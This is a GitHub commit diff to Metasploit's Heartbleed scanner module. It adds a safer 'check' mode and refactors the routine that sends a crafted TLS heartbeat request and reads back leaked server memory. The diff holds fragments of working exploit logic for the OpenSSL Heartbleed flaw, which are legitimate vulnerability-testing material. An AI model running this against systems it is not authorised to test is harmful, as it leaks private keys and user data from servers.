Skip to content

Commit 6fafc10

Browse files
committed
Add HeartBleed check functionality
1 parent 6599999 commit 6fafc10

File tree

1 file changed

+24
-3
lines changed

1 file changed

+24
-3
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 24 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -226,7 +226,18 @@ def tls_ftp
226226
res
227227
end
228228

229-
def run_host(ip)
229+
def check_host(ip)
230+
# TODO: this number can be lower
231+
heartbeat_data = test_host(ip, 5000)
232+
233+
if heartbeat_data
234+
return Exploit::CheckCode::Appears
235+
end
236+
237+
Exploit::CheckCode::Safe
238+
end
239+
240+
def test_host(ip, length = heartbeat_length)
230241
connect
231242

232243
unless datastore['STARTTLS'] == 'None'
@@ -248,7 +259,7 @@ def run_host(ip)
248259
end
249260

250261
vprint_status("#{peer} - Sending Heartbeat...")
251-
sock.put(heartbeat(heartbeat_length))
262+
sock.put(heartbeat(length))
252263
hdr = sock.get_once(5)
253264
if hdr.blank?
254265
vprint_error("#{peer} - No Heartbeat response...")
@@ -284,7 +295,12 @@ def run_host(ip)
284295
end
285296

286297
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
287-
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
298+
sock.get_once(length) # Read the magic length...
299+
end
300+
301+
def run_host(ip)
302+
heartbeat_data = test_host(ip)
303+
288304
if heartbeat_data
289305
print_good("#{peer} - Heartbeat response with leak")
290306
report_vuln({
@@ -321,6 +337,11 @@ def heartbeat(length)
321337
payload = "\x01" # Heartbeat Message Type: Request (1)
322338
payload << [length].pack("n") # Payload Length: 65535
323339

340+
# handle safe detection
341+
if length != heartbeat_length
342+
payload << Array.new(length, 1).pack("C*") # Dummy values
343+
end
344+
324345
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
325346
end
326347

0 commit comments

Comments
 (0)